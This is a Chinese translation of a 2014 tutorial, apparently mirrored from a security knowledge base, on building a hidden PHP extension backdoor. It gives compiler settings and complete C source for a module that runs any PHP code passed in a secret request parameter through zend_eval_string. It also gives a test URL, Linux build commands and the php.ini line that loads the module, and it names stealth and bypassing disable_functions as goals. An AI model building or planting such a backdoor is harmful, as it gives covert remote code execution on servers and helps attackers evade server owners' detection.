作者:
lxj616
·
2014/09/17 16:23
from:http://stackoff.ru/pishem-rasshirenie-bekdor-dlya-php/
0x00 前言
今天我們將討論編寫基於PHP擴充套件庫的後門。通常來說,大部分入侵者都會在指令碼中留下自定義程式碼塊後門。當然,這些東西很容易透過原始碼的靜態或動態分析找到。
利用PHP擴充套件庫的好處顯而易見:
很難尋找
繞過disable_functions選項
有能力控制所有的程式碼
訪問程式碼執行的API
但是我們需要有編輯PHP配置檔案的能力。
0x01 細節
//【譯者注:用linux兩條命令搞定了,何必windows費這麼大勁】
作為例子,我會用Windows來寫。寫擴充套件我用的Visual Studio 2012 Express版本。還需要的原始碼最新版本,編譯PHP庫(可從同一來源收集)。為簡單起見,我們需要是的php-5.5.15-Win32的VC11-86和源PHP-5.5.15-src.zip
解壓使用C編譯PHP:PHP,原始碼在C:PHP-SRC。
然後,你需要進行一些設定。
1)新增前處理器定義:
ZEND_DEBUG=0
ZTS=1
ZEND_WIN32
PHP_WIN32
前處理器定義
2)新增的目錄,用於連線源:
C: PHP-SRCmain
C: PHP-SRCend
C: PHP-SRCTSRM
C: PHP-SRC
egex
C: PHP-SRC
其他目錄連線
3)新增其他目錄中liboy php5ts.lib(C: PHP dev的)
其他目錄庫
4)新增連線庫php5ts.lib。
裝配額外的庫
5)指定收集檔案的路徑。
儲存配置檔案
配置引數為Workspace擴充套件的開發後(詳情可以在http://blog.slickedit.com/2007/09/creating-a-php-5-extension-with-visual-c-2005/找到),建立一個新的專案型別後門“控制檯應用程式的Win32”。
在Visual StudioVyberem型“庫DLL»專案”
選擇合適型別
然後,從專案中刪除不必要的檔案。應該只需要backdoor.cpp,STDAFX.CPP和stdafx.h中。
在標頭檔案stdafx.h中
:
#pragma once
#ifndef STDAFX
#define STDAFX
#include "zend_config.w32.h"
#include "php.h"
#endif
現在,我們直接進入PHP擴充套件的程式碼。刪除所有行,並新增所需的檔案連線。
#include "stdafx.h"
#include "zend_config.w32.h"
#include "php.h"
如果workspace設定已經正確,警告就會消失。
當模組被初始化時,會有幾個事件,其中每一個都在特定條件下發生。我們需要在查詢執行時,去執行我們的程式碼。要做到這一點,你必須初始化我們所需要的功能,我給它命名為«hideme»。
PHP_RINIT_FUNCTION(hideme);
然後你可以去看模組的初始化。
zend_module_entry hideme_ext_module_entry = {
STANDARD_MODULE_HEADER,
"simple backdoor",
NULL,
NULL,
NULL,
PHP_RINIT(hideme),
NULL,
NULL,
"1.0",
STANDARD_MODULE_PROPERTIES
};
ZEND_GET_MODULE(hideme_ext);
在這篇文章中,我們只需要載入中程式碼被執行即可,因此執行和解除安裝模組由空取代。
現在,你可以去看hideme的函式體。
PHP_RINIT_FUNCTION(hideme)
{
char* method = "_POST"; //超全域性陣列,從中我們採取perametr和價值 char* secret_string = "secret_string"; //引數,這將是執行的程式碼
//【譯者注:在原文作者的github程式碼中method是get,secret_string是execute,請大家按照github程式碼進行測試,不修改原文了】
zval** arr;
char* code;
if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) != FAILURE) {
HashTable* ht = Z_ARRVAL_P(*arr);
zval** val;
if (zend_hash_find(ht, secret_string, strlen(secret_string) + 1, (void**)&val) != FAILURE) { //查詢雜湊表中所需的引數
code = Z_STRVAL_PP(val); //值
zend_eval_string(code, NULL, (char *)"" TSRMLS_CC); //程式碼執行
}
}
return SUCCESS;
}
註釋應該比較清楚。最初,我們設定HTTP方法和引數secret_string。然後再尋找正確的陣列引數,如果有的話,我們就從它的值中取指令,並透過zend_eval_string執行程式碼。
編譯後的所得,即可作為一個擴充套件庫。
下載原始碼
https://github.com/akamajoris/php-extension-backdoor
0x02 測試
//以下為譯者測試截圖:
http://127.0.0.1:1629/20140917/test.php?execute=phpinfo();
(因為原作者github程式碼設定的是execute)
Linux編譯(kali)
apt-get install php5-dev
phpize && ./configure && make
在kali下測試一遍成功,我比較懶,直接chmod後把so複製到/var/www了哈哈
然後php.ini加上
extension=/var/www/back.so
重啟apache,測試成功
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!